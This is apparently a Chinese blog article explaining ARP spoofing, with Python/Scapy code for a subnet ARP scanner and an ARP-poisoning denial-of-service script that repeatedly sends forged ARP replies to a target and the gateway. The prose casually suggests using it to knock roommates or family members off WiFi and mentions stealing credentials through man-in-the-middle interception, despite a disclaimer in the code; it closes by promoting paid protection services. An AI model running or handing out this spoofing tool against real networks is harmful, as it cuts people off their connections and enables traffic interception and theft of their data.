地址解析协议(ARP)是局域网中用于将 IP 地址转换为物理地址(MAC 地址)的重要协议。
ARP 攻击是利用 ARP 协议的漏洞。通过发送伪造的 ARP 消息,攻击者可以将其 MAC 地址与受害者的 IP 地址绑定,从而拦截、更改或破坏网络通信。
ARP 攻击特别容易实施,因为 ARP 协议缺乏固有的安全功能,使其成为网络攻击者的主要目标。 ARP欺骗或ARP中毒因此成为一种常见且危险的网络攻击方法。
使用 Python,您可以在 100 行以内完成代码,而且影响相当显着 — 您的室友或家人可能很快就会失去 WiFi 连接。当然,你不应该试图随意攻击别人,除了好朋友。
拒绝服务攻击:您可以通过 ARP 攻击破坏室友或家人的 Wi-Fi 连接。通过欺骗目标计算机认为攻击者是网关,攻击者可以中断目标计算机与网关之间的通信,从而阻止目标计算机访问网络资源。
网络嗅探:攻击者可以利用ARP攻击捕获网络上的所有通信数据包,从而分析和提取敏感信息。
数据篡改:通过中间人攻击,攻击者可以改变数据包的内容,从而改变通信数据。
现实生活中的例子
ARP欺骗:攻击者向本地网络上的其他设备发送伪造的ARP响应消息,将其MAC地址与合法设备的IP地址绑定。例如,攻击者可以将自己的 MAC 地址与网关的 IP 地址绑定,欺骗本地网络上的所有设备向攻击者发送数据。
中间人攻击:一旦ARP欺骗成功,攻击者就可以将自己置于受害者和网关之间,拦截并转发所有通信数据。这使得攻击者能够窃取敏感信息,例如登录凭据和银行帐户信息。
数据篡改:攻击者不仅可以拦截数据,还可以在将数据转发到受害者或网关之前对其进行更改,从而实现进一步的攻击。
首先,我们将实现一个基本的ARP扫描功能。实施 ARP 探测非常简单。我们可以定义两个函数:一个称为generate_ip_range,它接受一个IP地址字符串并生成该子网内的所有主机地址;另一个称为generate_ip_range,它接受IP地址字符串并生成该子网内的所有主机地址;另一个称为arp_scan,它发送ARP数据包。我们可以使用Scapy的ARP函数构造ARP请求并使用srp发送它们,然后等待响应。
from scapy.all import * import argparse import threading, time import logging # Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20 def Parse_IP(targets): _split = targets.split('/') first_ip = _split[0] ip_split = first_ip.split('.') ipv4 = range(int(ip_split[3]), int(_split[1]) 1) addr = [ip_split[0] '.' ip_split[1] '.' ip_split[2] '.' str(p) for p in ipv4] return addr # Scan the local network for online devices using the ARP protocol def ARP_Scan(address): try: ret = sr1(ARP(pdst=address), timeout=5, verbose=False) if ret: if ret.haslayer('ARP') and ret.fields['op'] == 2: print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc'])) except Exception: exit(1) if __name__ == "__main__": logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan") args = parser.parse_args() # Usage: main.py -s 192.168.1.1/100 if args.scan: addr_list = Parse_IP(args.scan) for item in addr_list: threads = [] t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() for item in threads: item.join() else: parser.print_help()
接下来我们将学习如何实现ARP拒绝服务攻击。 ARP DOS 攻击的核心是 send_payload 函数。每次调用此函数都会发送两个数据包:第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关;第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关。第二个数据包伪装成目标计算机,欺骗网关认为攻击者是目标计算机。通过多线程发送这两个数据包,目标计算机将无法连接网络,从而实现DOS攻击。
""" Disclaimer: This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission. Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations. The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization. Before running this code, please confirm that you have understood and accepted this disclaimer. """ from scapy.all import * import argparse import threading, time import logging # Create and send payloads def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP)) # Generate ARP packet, pretending to be the gateway to deceive the target computer sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface) # Generate ARP packet, pretending to be the target computer to deceive the gateway sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name") parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address") parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address") args = parser.parse_args() # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10 if args.gateway and args.target: srcMac = get_if_hwaddr(args.interface) # Get the local MAC address through the interface name tgtMac = getmacbyip(args.target) # Get the target computer's MAC address through its IP address gatewayMac = getmacbyip(args.gateway) # Specify the gateway MAC address in the local network while True: t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()
作为一名独立开发人员,您可能经常遇到保护您的网站免受各种复杂攻击(尤其是最简单的攻击)的挑战。
例如ARP攻击非常容易执行,攻击代码不到100行。然而,造成的损害可能是巨大的。如果开发人员需要详细防御每种类型的攻击,这可能是一项艰巨的任务,可能会超出开发工作量。
因此,集成第三方平台已经成为一种非常常见的解决方案。 Edgeone、Cloudflare 等平台可以提供有效的保护服务。虽然这些服务可能需要几美元,但与自卫相比,它们大大减轻了精神负担。
这是我写的一篇关于常见网络攻击及其解决方案的文章。如果您有兴趣,请随时查看。
免責聲明: 提供的所有資源部分來自互聯網,如果有侵犯您的版權或其他權益,請說明詳細緣由並提供版權或權益證明然後發到郵箱:[email protected] 我們會在第一時間內為您處理。
Copyright© 2022 湘ICP备2022001581号-3